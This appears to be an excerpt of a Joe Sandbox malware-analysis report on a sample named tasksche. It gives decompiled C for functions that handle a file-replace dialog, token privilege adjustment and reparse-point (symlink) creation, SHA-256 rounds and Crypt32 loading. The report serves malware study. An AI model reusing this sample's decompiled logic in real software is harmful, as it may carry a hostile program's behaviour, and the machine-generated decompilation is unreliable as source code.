						_t86 = FindFirstFileW(_t181 - 0x19e8, _t181 - 0x334);
						 *(_t181 + 0x74) = _t86;
						if(_t86 != 0xffffffff) {
							FileTimeToLocalFileTime(_t181 - 0x320, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							_t102 = E0040C3BF(0x99);
							_t163 = 0x200;
							E0040BC16(_t181 - 0x734, 0x200, L"%s %s %s", _t102);
							_t185 = _t183 + 0x18;
							SetDlgItemTextW( *(_t181 + 0x70), 0x6a, _t181 - 0x734);
							FindClose( *(_t181 + 0x74));
							if(( *(_t181 - 0x334) & 0x00000010) == 0) {
								_t139 = E0041ABD0( *((intOrPtr*)(_t181 - 0x318)), 0, 0, 1);
								asm("adc edx, ebx");
								E0040D155(_t139 +  *((intOrPtr*)(_t181 - 0x314)), _t169, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								_t163 = 0x200;
								E0040BC16(_t181 - 0x734, 0x200, L"%s %s", _t181 - 0xe4);
								_t185 = _t185 + 0x14;
								SetDlgItemTextW( *(_t181 + 0x70), 0x68, _t181 - 0x734);
							}
							SendDlgItemMessageW( *(_t181 + 0x70), 0x67, 0x170,  *(_t181 - 0x9e8), 0);
							E00411346( *0x441824, _t181 + 0x48);
							FileTimeToLocalFileTime(_t181 + 0x48, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							E0040BC16(_t181 - 0x734, _t163, L"%s %s %s", E0040C3BF(0x99));
							SetDlgItemTextW( *(_t181 + 0x70), 0x6b, _t181 - 0x734);
							_t130 =  *0x44182c;
							_t167 =  *0x441828;
							if(( *(_t181 - 0x334) & 0x00000010) == 0 || (_t167 | _t130) != 0) {
								E0040D155(_t167, _t130, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								E0040BC16(_t181 - 0x734, _t163, L"%s %s", _t181 - 0xe4);
								SetDlgItemTextW( *(_t181 + 0x70), 0x69, _t181 - 0x734);
							}
						}
						L26:
						_t87 = 0;
						L27:
						goto L28;
					}
					if(_t71 != 1) {
						goto L26;
					}
					_t179 = 2;
					_t150 = ( *(_t181 + 0x78) & 0x0000ffff) - _t179;
					if(_t150 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t179);
						L13:
						_t151 = SendDlgItemMessageW(_t173, 0x66, 0x171, 0, 0);
						if(_t151 != 0) {
							DestroyIcon(_t151);
						}
						EndDialog(_t173, _t179);
						_t87 = 1;
						goto L27;
					}
					_t155 = _t150 - 0x6a;
					if(_t155 == 0) {
						_t179 = 0;
						goto L13;
					}
					_t156 = _t155 - 1;
					if(_t156 == 0) {
						_t179 = 1;
						goto L13;
					}
					_t157 = _t156 - 1;
					if(_t157 == 0) {
						_push(4);
						goto L12;
					}
					_t158 = _t157 - 1;
					if(_t158 == 0) {
						goto L13;
					}
					_t159 = _t158 - 1;
					if(_t159 == 0) {
						_push(3);
						goto L12;
					}
					if(_t159 != 1) {
						goto L26;
					}
					goto L11;
				} else {
					_t87 = 1;
					L28:
					return _t87;
				}
			}

0x0040de5e
0x0040de5f
0x0040de68
0x0040de6f
0x0040de8c
0x0040de99
0x0040de9f
0x0040df14
0x0040df2a
0x0040df38
0x0040df4d
0x0040df68
0x0040df7f
0x0040df93
0x0040df99
0x0040df9f
0x0040dfb0
0x0040dfbe
0x0040dfd7
0x0040dfea
0x0040dff3
0x0040dff7
0x0040dffd
0x0040e008
0x0040e015
0x0040e01a
0x0040e029
0x0040e02e
0x0040e03b
0x0040e052
0x0040e061
0x0040e065
0x0040e074
0x0040e081
0x0040e08e
0x0040e093
0x0040e0a2
0x0040e0a2
0x0040e0b6
0x0040e0c6
0x0040e0d3
0x0040e0e1
0x0040e0f6
0x0040e10b
0x0040e114
0x0040e118
0x0040e131
0x0040e145
0x0040e14e
0x0040e153
0x0040e159
0x0040e16c
0x0040e17b
0x0040e190
0x0040e1a4
0x0040e1a4
0x0040e159
0x0040e1a6
0x0040e1a6
0x0040e1a8
0x00000000
0x0040e1a8
0x0040dea2
0x00000000
0x00000000
0x0040deae
0x0040deaf
0x0040deb1
0x0040decb
0x0040decb
0x0040decd
0x0040decd
0x0040dece
0x0040ded8
0x0040dee0
0x0040dee3
0x0040dee3
0x0040deeb
0x0040def3
0x00000000
0x0040def3
0x0040deb3
0x0040deb6
0x0040df06
0x00000000
0x0040df06
0x0040deb8
0x0040deb9
0x0040df03
0x00000000
0x0040df03
0x0040debb
0x0040debc
0x0040defd
0x00000000
0x0040defd
0x0040debe
0x0040debf
0x00000000
0x00000000
0x0040dec1
0x0040dec2
0x0040def9
0x00000000
0x0040def9
0x0040dec5
0x00000000
0x00000000
0x00000000
0x0040de8e
0x0040de90
0x0040e1ab
0x0040e1af
0x0040e1af

APIs

SendDlgItemMessageW.USER32 ref: 0040DED8
DestroyIcon.USER32(00000000), ref: 0040DEE3
EndDialog.USER32(?,00000006), ref: 0040DEEB

Strings

REPLACEFILEDLG, xrefs: 0040DE76
%s %s, xrefs: 0040E07C, 0040E183
%s %s %s, xrefs: 0040E003, 0040E124

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: DestroyDialogIconItemMessageSend
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3309745630-1840816070
Opcode ID: 7fd744e6abadea78a42a9fb40dab9ca022df18ceef006f279ee28556c253f88a
Instruction ID: 1ca02d43f13477766b0e0b2ecc80fe6690186a1d560daa565d76ee57e1f32e2a
Opcode Fuzzy Hash: 7fd744e6abadea78a42a9fb40dab9ca022df18ceef006f279ee28556c253f88a
Instruction Fuzzy Hash: 56A18272A4021CABEB21DFE0CC85FEF776DEB04704F440476BA05E60D1D6789E5A8B65

Uniqueness

Uniqueness Score: -1.00%

Function 0040690A Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 294
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040690A() {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t112;
				intOrPtr _t113;
				long _t120;
				intOrPtr _t122;
				signed int _t123;
				int _t144;
				long _t163;
				signed int _t168;
				void* _t178;
				void* _t180;
				void* _t184;
				short _t185;
				void* _t191;
				intOrPtr _t193;
				long _t194;
				short _t196;
				signed int _t222;
				void* _t227;
				void* _t229;
				void* _t230;
				void* _t242;

				E0041A4DC(E00429638, _t227);
				E0041AAF0(0x303c);
				if( *0x4335a3 == 0) {
					E00406553(L"SeRestorePrivilege");
					E00406553(L"SeCreateSymbolicLinkPrivilege");
					 *0x4335a3 = 1;
				}
				_t198 = _t227 - 0x20;
				E00406760(_t227 - 0x20, 0x1418);
				_t222 =  *(_t227 + 0x10);
				 *(_t227 - 4) =  *(_t227 - 4) & 0x00000000;
				_t5 = _t222 + 0x10f4; // 0x10f4
				E00410B9C(_t227 - 0x1024, _t5, 0x800);
				 *(_t227 + 0x10) = E0041A7AF(_t227 - 0x1024);
				_t225 = _t227 - 0x1024;
				 *((intOrPtr*)(_t227 - 0x10)) = _t227 - 0x2024;
				_t112 = E0041C81C(_t227 - 0x1024, L"\\??\\", 4);
				_t230 = _t229 + 0x10;
				asm("sbb bl, bl");
				_t191 =  ~_t112 + 1;
				if(_t191 == 0) {
					L5:
					_t113 =  *((intOrPtr*)(_t227 - 0x10));
					goto L6;
				} else {
					_t225 = _t227 - 0x101c;
					_t184 = E0041C81C(_t227 - 0x101c, L"UNC\\", 4);
					_t230 = _t230 + 0xc;
					if(_t184 != 0) {
						goto L5;
					}
					_t185 = 0x5c;
					 *((short*)(_t227 - 0x2024)) = _t185;
					_t113 = _t227 - 0x2022;
					_t225 = _t227 - 0x1016;
					L6:
					E0041A7F7(_t113, _t225);
					 *((intOrPtr*)(_t227 - 0x10)) = E0041A7AF(_t227 - 0x2024);
					if( *((char*)( *((intOrPtr*)(_t227 + 8)) + 0x518b)) != 0) {
						L16:
						E0040935F(_t191, _t198, _t222,  *(_t227 + 0xc), 1);
						__eflags =  *((char*)(_t222 + 0x10e1));
						if( *((char*)(_t222 + 0x10e1)) != 0) {
							L21:
							__eflags = CreateDirectoryW( *(_t227 + 0xc), 0);
							if(__eflags == 0) {
								L10:
								_t242 =  *(_t227 - 0x20);
								L11:
								if(_t242 == 0) {
									L14:
									_t120 = 0;
									L15:
									 *[fs:0x0] =  *((intOrPtr*)(_t227 - 0xc));
									return _t120;
								}
								_push( *(_t227 - 0x20));
								L13:
								E0041A506(_t191, _t222, _t225, _t242);
								goto L14;
							}
							_t225 = 0;
							__eflags = 0;
							L23:
							_t122 =  *((intOrPtr*)(_t222 + 0x10f0));
							__eflags = _t122 - 3;
							if(_t122 != 3) {
								__eflags = _t122 - 2;
								if(_t122 == 2) {
									L27:
									_t225 =  *(_t227 - 0x20);
									_t123 =  *(_t227 + 0x10);
									 *((short*)(_t225 + 0xa)) = _t123 + _t123;
									 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t123 +  *((intOrPtr*)(_t227 - 0x10)) + _t123 + 0x10;
									 *_t225 = 0xa000000c;
									 *((short*)(_t225 + 6)) = 0;
									 *((short*)(_t225 + 8)) = 0;
									E0041A7F7(_t225 + 0x14, _t227 - 0x1024);
									 *((short*)(_t225 + 0xc)) =  *(_t227 + 0x10) +  *(_t227 + 0x10) + 2;
									 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
									E0041A7F7(_t225 + 0x16 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
									__eflags = _t191;
									_t74 = _t191 == 0;
									__eflags = _t74;
									 *(_t225 + 0x10) = 0 | _t74;
									L28:
									_t191 = CreateFileW( *(_t227 + 0xc), 0xc0000000, 0, 0, 3, 0x2200000, 0);
									__eflags = _t191 - 0xffffffff;
									if(__eflags != 0) {
										_t144 = DeviceIoControl(_t191, 0x900a4, _t225, ( *(_t225 + 4) & 0x0000ffff) + 8, 0, 0, _t227 - 0x24, 0);
										__eflags = _t144;
										if(_t144 != 0) {
											E00408786(_t227 - 0x3048);
											 *(_t227 - 4) = 1;
											E00408A32(_t227 - 0x3048);
											 *(_t227 - 0x3044) = _t191;
											_t193 =  *((intOrPtr*)(_t227 + 8));
											asm("sbb eax, eax");
											_t88 = _t222 + 0x1040; // 0x1040
											asm("sbb eax, eax");
											_t90 = _t222 + 0x1038; // 0x1038
											_t92 = _t222 + 0x1030; // 0x1030
											asm("sbb eax, eax");
											E00408D35(_t227 - 0x3048,  ~( *(_t193 + 0x628c)) & _t92,  ~( *(_t193 + 0x6290)) & _t90,  ~( *(_t193 + 0x6294)) & _t88);
											E00408A32(_t227 - 0x3048);
											__eflags =  *((char*)(_t193 + 0x519b));
											if( *((char*)(_t193 + 0x519b)) == 0) {
												E0040908D( *(_t227 + 0xc),  *((intOrPtr*)(_t222 + 0x1c)));
											}
											 *(_t227 - 4) = 0;
											E00408C7D(_t193, _t227 - 0x3048);
											_t194 = 1;
											L37:
											_push(_t225);
											E0041A506(_t194, _t222, _t225, __eflags);
											_t120 = _t194;
											goto L15;
										}
										CloseHandle(_t191);
										E0040639F(0x14, 0,  *(_t227 + 0xc));
										_t163 = GetLastError();
										__eflags = _t163 - 0x522;
										if(_t163 == 0x522) {
											_t163 = E00401B9B(0x16);
										}
										E00401000(_t163);
										E004062BA(0x4335ac, 9);
										__eflags =  *((char*)(_t222 + 0x10e1));
										_push( *(_t227 + 0xc));
										if( *((char*)(_t222 + 0x10e1)) == 0) {
											DeleteFileW();
										} else {
											RemoveDirectoryW();
										}
										_t194 = 0;
										__eflags = 0;
										goto L37;
									}
									_push(_t225);
									goto L13;
								}
								__eflags = _t122 - 1;
								if(_t122 != 1) {
									L19:
									__eflags =  *(_t227 - 0x20) - _t225;
									goto L11;
								}
								goto L27;
							}
							_t168 =  *(_t227 + 0x10);
							_t225 =  *(_t227 - 0x20);
							_t196 = _t168 + _t168;
							 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t168 +  *((intOrPtr*)(_t227 - 0x10)) + _t168 + 0xc;
							 *_t225 = 0xa0000003;
							 *((short*)(_t225 + 6)) = 0;
							 *((short*)(_t225 + 8)) = 0;
							 *((short*)(_t225 + 0xa)) = _t196;
							E0041A7F7(_t225 + 0x10, _t227 - 0x1024);
							 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
							 *((short*)(_t225 + 0xc)) = _t196 + 2;
							E0041A7F7(_t225 + 0x12 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
							goto L28;
						}
						__eflags =  *((char*)(_t222 + 0x20f4));
						if( *((char*)(_t222 + 0x20f4)) != 0) {
							goto L21;
						}
						_t225 = 0;
						_t178 = CreateFileW( *(_t227 + 0xc), 0x40000000, 0, 0, 1, 0x80, 0);
						__eflags = _t178 - 0xffffffff;
						if(_t178 != 0xffffffff) {
							CloseHandle(_t178);
							goto L23;
						}
						goto L19;
					}
					if(_t191 != 0) {
						goto L10;
					}
					_t21 = _t222 + 0x10f4; // 0x10f4
					_t225 = _t21;
					_t180 = E0040A2F5(_t21);
					_t240 = _t180;
					if(_t180 != 0) {
						goto L10;
					}
					_t22 = _t222 + 0x20; // 0x20
					if(E004065C4(_t191, _t240, _t22, _t225) != 0) {
						goto L16;
					}
					goto L10;
				}
			}

0x0040690f
0x00406919
0x00406925
0x0040692c
0x00406936
0x0040693b
0x0040693b
0x0040694a
0x0040694d
0x00406952
0x00406955
0x0040695e
0x0040696c
0x0040697d
0x00406988
0x0040698e
0x00406999
0x0040699e
0x004069a5
0x004069a7
0x004069a9
0x004069df
0x004069df
0x00000000
0x004069ab
0x004069ad
0x004069bb
0x004069c0
0x004069c5
0x00000000
0x00000000
0x004069c9
0x004069ca
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069f5
0x00406a05
0x00406a4b
0x00406a50
0x00406a55
0x00406a5c
0x00406a94
0x00406a9f
0x00406aa1
0x00406a29
0x00406a29
0x00406a2d
0x00406a2d
0x00406a38
0x00406a38
0x00406a3a
0x00406a40
0x00406a48
0x00406a48
0x00406a2f
0x00406a32
0x00406a32
0x00000000
0x00406a37
0x00406aa3
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aab
0x00406aae
0x00406b13
0x00406b16
0x00406b21
0x00406b21
0x00406b24
0x00406b2e
0x00406b3d
0x00406b47
0x00406b4d
0x00406b51
0x00406b55
0x00406b62
0x00406b6b
0x00406b7e
0x00406b88
0x00406b8a
0x00406b8a
0x00406b8d
0x00406b90
0x00406baa
0x00406bac
0x00406baf
0x00406bcf
0x00406bd5
0x00406bd7
0x00406c45
0x00406c50
0x00406c54
0x00406c59
0x00406c5f
0x00406c6a
0x00406c6c
0x00406c7d
0x00406c7f
0x00406c90
0x00406c96
0x00406ca1
0x00406cac
0x00406cb1
0x00406cb8
0x00406cc0
0x00406cc0
0x00406ccb
0x00406ccf
0x00406cd4
0x00406c31
0x00406c31
0x00406c32
0x00406c38
0x00000000
0x00406c38
0x00406bda
0x00406be7
0x00406bec
0x00406bf2
0x00406bf7
0x00406bfb
0x00406bfb
0x00406c07
0x00406c10
0x00406c15
0x00406c1c
0x00406c1f
0x00406c29
0x00406c21
0x00406c21
0x00406c21
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bb1
0x00000000
0x00406bb1
0x00406b18
0x00406b1b
0x00406a86
0x00406a86
0x00000000
0x00406a86
0x00000000
0x00406b1b
0x00406ab0
0x00406ab3
0x00406abb
0x00406ac9
0x00406ad3
0x00406ad9
0x00406add
0x00406ae1
0x00406ae5
0x00406aef
0x00406b05
0x00406b09
0x00000000
0x00406b0e
0x00406a5e
0x00406a65
0x00000000
0x00000000
0x00406a67
0x00406a7b
0x00406a81
0x00406a84
0x00406a8c
0x00000000
0x00406a8c
0x00000000
0x00406a84
0x00406a09
0x00000000
0x00000000
0x00406a0b
0x00406a0b
0x00406a12
0x00406a17
0x00406a19
0x00000000
0x00000000
0x00406a1c
0x00406a27
0x00000000
0x00000000
0x00000000
0x00406a27

APIs

__EH_prolog.LIBCMT ref: 0040690F
_wcslen.LIBCMT ref: 00406978
_wcscpy.LIBCMT ref: 004069E4
_wcslen.LIBCMT ref: 004069F0

Part of subcall function 00406553: GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
Part of subcall function 00406553: OpenProcessToken.ADVAPI32(00000000), ref: 00406569
Part of subcall function 00406553: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
Part of subcall function 00406553: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
Part of subcall function 00406553: GetLastError.KERNEL32 ref: 004065A8
Part of subcall function 00406553: CloseHandle.KERNEL32(?), ref: 004065B7

Part of subcall function 0040935F: _wcsncpy.LIBCMT ref: 004093C6

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000,00000000,00000001), ref: 00406A7B
CloseHandle.KERNEL32(00000000), ref: 00406A8C
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000001), ref: 00406A99
_wcscpy.LIBCMT ref: 00406AE5
_wcscpy.LIBCMT ref: 00406B09
_wcscpy.LIBCMT ref: 00406B55
_wcscpy.LIBCMT ref: 00406B7E
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00406BA4
DeviceIoControl.KERNEL32 ref: 00406BCF
CloseHandle.KERNEL32(00000000), ref: 00406BDA
GetLastError.KERNEL32 ref: 00406BEC
RemoveDirectoryW.KERNEL32(00000000), ref: 00406C21
DeleteFileW.KERNEL32(00000000), ref: 00406C29

Strings

UNC\, xrefs: 004069B5
SeRestorePrivilege, xrefs: 00406927
SeCreateSymbolicLinkPrivilege, xrefs: 00406931
\??\, xrefs: 00406993

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$CloseCreateFileHandle$DirectoryErrorLastProcessToken_wcslen$AdjustControlCurrentDeleteDeviceH_prologLookupOpenPrivilegePrivilegesRemoveValue_wcsncpy
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 295717069-3508440684
Opcode ID: a9fab41b22816733971287c40710c90047cb789d132c77967092f77331e0c831
Instruction ID: 0b044a0677013c3ee0dedeb9ad72db73be6c8eb7e300feb6a7d55a674be6f19f
Opcode Fuzzy Hash: a9fab41b22816733971287c40710c90047cb789d132c77967092f77331e0c831
Instruction Fuzzy Hash: 56B1B471A00215AFDF21EF64CC45BDA77B8EF04304F00446AF95AF7281D778AAA4CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004106F4 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 225
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E004106F4(signed int* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v236;
				char _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				char _v296;
				unsigned int* _t154;
				void* _t167;
				signed int _t183;
				signed int _t199;
				signed int _t227;
				signed int _t229;
				void* _t234;
				signed int _t236;
				void* _t243;

				if(__esi != 0) {
					_v296 = E0041D291( *(__esi[0xa]));
					_v292 = E0041D291( *((intOrPtr*)(__esi[0xa] + 4)));
					_v288 = E0041D291( *((intOrPtr*)(__esi[0xa] + 8)));
					_v284 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0xc)));
					_v280 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x10)));
					_v276 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x14)));
					_v272 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x18)));
					_v268 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x1c)));
					_v264 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x20)));
					_v260 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x24)));
					_v256 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x28)));
					_v252 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x2c)));
					_t229 = 0x30;
					_v248 = E0041D291( *((intOrPtr*)(__esi[0xa] + _t229)));
					_v244 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x34)));
					_v240 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x38)));
					_v236 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x3c)));
					_t154 =  &_v240;
					_v8 = _t229;
					do {
						asm("rol edi, 0xe");
						asm("ror ebx, 0x7");
						asm("rol ecx, 0xf");
						asm("rol ebx, 0xd");
						_t234 = ( *(_t154 - 0x34) ^  *(_t154 - 0x34) ^  *(_t154 - 0x34) >> 0x00000003) + ( *_t154 ^  *_t154 ^  *_t154 >> 0x0000000a) +  *((intOrPtr*)(_t154 - 0x38));
						_t154 =  &(_t154[1]);
						_t40 =  &_v8;
						 *_t40 = _v8 - 1;
						_t154[1] = _t234 +  *((intOrPtr*)(_t154 - 0x18));
					} while ( *_t40 != 0);
					_t236 =  *__esi;
					_t227 = __esi[4];
					_v8 = _v8 & 0x00000000;
					_v36 = __esi[1];
					_v32 = __esi[2];
					_v28 = __esi[3];
					_v20 = __esi[5];
					_v16 = __esi[6];
					_v40 = _t236;
					_v12 = __esi[7];
					do {
						asm("ror eax, 0xb");
						asm("rol ecx, 0x7");
						asm("ror ecx, 0x6");
						_t62 = _v8 + 0x42ac30; // 0x428a2f98
						_v8 = _v8 + 4;
						_t167 = (_t227 ^ _t227 ^ _t227) + ( !_t227 & _v16 ^ _v20 & _t227) +  *_t62 +  *((intOrPtr*)(_t243 + _v8 - 0x124)) + _v12;
						_v12 = _v16;
						_v16 = _v20;
						_v20 = _t227;
						_t227 = _t167 + _v28;
						asm("ror ecx, 0xd");
						asm("rol ebx, 0xa");
						asm("ror ebx, 0x2");
						_t75 =  &_v36; // 0x405a40
						_t77 =  &_v36; // 0x405a40
						_t81 =  &_v36; // 0x405a40
						_t199 =  *_t81;
						_v28 = _v32;
						_v36 = _v40;
						_t236 = (_t236 ^ _t236 ^ _t236) + (( *_t75 ^ _t236) & _v32 ^  *_t77 & _v40) + _t167;
						_v32 = _t199;
						_v40 = _t236;
					} while (_v8 < 0x100);
					_t88 =  &_v36; // 0x405a40
					 *__esi =  *__esi + _t236;
					__esi[1] = __esi[1] +  *_t88;
					__esi[2] = __esi[2] + _t199;
					__esi[3] = __esi[3] + _v28;
					__esi[4] = __esi[4] + _t227;
					__esi[5] = __esi[5] + _v20;
					__esi[6] = __esi[6] + _v16;
					_t183 = __esi[7] + _v12;
					__esi[7] = _t183;
					return _t183;
				} else {
					E0040CFA3( &_v40, 0x20);
					return E0040CFA3( &_v296, 0x100);
				}
			}

0x004106ff
0x0041072b
0x0041073e
0x00410751
0x00410764
0x00410777
0x0041078a
0x0041079d
0x004107b0
0x004107c3
0x004107d6
0x004107e9
0x004107fc
0x00410807
0x00410811
0x00410824
0x00410837
0x0041084a
0x00410853
0x00410859
0x0041085c
0x00410863
0x0041086b
0x00410874
0x00410879
0x00410885
0x00410888
0x0041088e
0x0041088e
0x00410891
0x00410891
0x00410899
0x0041089b
0x0041089e
0x004108a2
0x004108a8
0x004108ae
0x004108b4
0x004108ba
0x004108c0
0x004108c3
0x004108c6
0x004108cb
0x004108d0
0x004108d9
0x004108ec
0x004108f2
0x00410900
0x00410903
0x00410909
0x00410911
0x00410914
0x00410919
0x0041091c
0x00410923
0x00410928
0x00410930
0x00410944
0x00410944
0x00410947
0x0041094d
0x00410950
0x00410953
0x00410956
0x00410956
0x00410961
0x00410966
0x00410970
0x00410978
0x00410983
0x0041098b
0x00410996
0x004109a1
0x004109a7
0x004109aa
0x004109af
0x00410701
0x00410707
0x0041071e
0x0041071e

APIs

__byteswap_ulong.LIBCMT ref: 00410726
__byteswap_ulong.LIBCMT ref: 00410739
__byteswap_ulong.LIBCMT ref: 0041074C
__byteswap_ulong.LIBCMT ref: 0041075F
__byteswap_ulong.LIBCMT ref: 00410772
__byteswap_ulong.LIBCMT ref: 00410785
__byteswap_ulong.LIBCMT ref: 00410798
__byteswap_ulong.LIBCMT ref: 004107AB
__byteswap_ulong.LIBCMT ref: 004107BE
__byteswap_ulong.LIBCMT ref: 004107D1
__byteswap_ulong.LIBCMT ref: 004107E4
__byteswap_ulong.LIBCMT ref: 004107F7
__byteswap_ulong.LIBCMT ref: 0041080C
__byteswap_ulong.LIBCMT ref: 0041081F
__byteswap_ulong.LIBCMT ref: 00410832
__byteswap_ulong.LIBCMT ref: 00410845

Strings

@Z@, xrefs: 00410928, 00410930, 00410944, 00410961

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: __byteswap_ulong
String ID: @Z@
API String ID: 2309504477-3109265564
Opcode ID: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction ID: 1dc3a99616fea8f09d0a2898b21a56a39af3494018e3c7a499627515aa5f83aa
Opcode Fuzzy Hash: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction Fuzzy Hash: 869119B1A006148FCB24DF5AC881A9EB7F1FF48308F1445AEE59AE7721D734E9948F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEB6 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CEB6(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t12;

				_t12 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					_t6 = LoadLibraryW(L"Crypt32.dll");
					 *_t12 = _t6;
					if(_t6 != 0) {
						_t12[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t12, "CryptUnprotectMemory");
						_t12[3] = _t6;
					}
					_t12[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x0040ceb7
0x0040cebd
0x0040cec4
0x0040ceca
0x0040cece
0x0040cee6
0x0040cee9
0x0040ceeb
0x0040ceee
0x0040ceef
0x00000000
0x0040ceef
0x0040cef4

APIs

LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

Strings

Crypt32.dll, xrefs: 0040CEBF
CryptUnprotectMemory, xrefs: 0040CEDF
CryptProtectMemory, xrefs: 0040CED7

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

